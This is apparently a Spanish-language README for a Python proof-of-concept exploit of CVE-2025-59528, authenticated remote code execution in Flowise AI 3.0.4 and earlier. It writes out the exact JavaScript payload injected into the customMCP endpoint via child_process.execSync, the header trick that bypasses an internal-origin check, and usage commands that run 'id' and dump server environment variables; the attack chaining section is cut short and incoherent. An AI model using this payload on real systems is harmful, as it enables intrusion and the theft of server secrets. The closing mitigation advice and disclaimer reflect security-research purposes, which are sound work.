
PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync.
ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: arensballiu
Fecha: 2025
Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten a un usuario autenticado lograr una Ejecución Remota de Código (RCE) en el servidor host enviando una carga útil de JavaScript manipulada al endpoint /api/v1/node-load-method/customMCP.
El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o sandboxing adecuados. Al inyectar una carga útil que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor Flowise.
El endpoint también requiere que esté presente el encabezado x-request-from: internal.
| Endpoint | Método | Autenticación requerida | Propósito |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticarse y obtener sesión |
/api/v1/node-load-method/customMCP | POST | Sí (cookie de sesión) | Endpoint vulnerable del método de carga de nodo |
Archivo: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma larga | Requerido | Descripción |
|---|---|---|---|
-e | --email | Sí | Dirección de correo del usuario autenticado |
-i | --url | Sí | URL base de la instancia Flowise |
-p | --password | Sí | Contraseña del usuario autenticado |
-c | --cmd | Sí | Comando del sistema operativo a ejecutar en el servidor |
Verificar la ejecución de código:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperar las variables de entorno del servidor:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
El exploit inyecta la siguiente expresión JavaScript en el campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carga el módulo integrado de ejecución de procesos de Node.js.execSync('<command>') — ejecuta de forma síncrona el comando del sistema operativo proporcionado por el atacante.El encabezado x-request-from: internal también se añade a la solicitud para pasar una verificación de origen interno que, de lo contrario, bloquearía la llamada.
El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor sin sanitización ni sandboxing. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) a través de process.mainModule.require, esto crea un vector de RCE trivialmente explotable. La verificación del encabezado x-request-from no proporciona una barrera de seguridad significativa, ya que no se valida contra ninguna fuente confiable.
Estas dos vulnerabilidades pueden encadenarse para una ruta de ataque de RCE no autenticada contra instancias de Flowise que ejecuten versiones <= 3.0.4:
child_process, fs, etc.) mediante un sandbox adecuado (por ejemplo, vm2, contextos aislados o eliminando el acceso a process.mainModule).x-request-from mediante un mecanismo del lado del servidor en lugar de una simple verificación de cadena.Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por su uso indebido.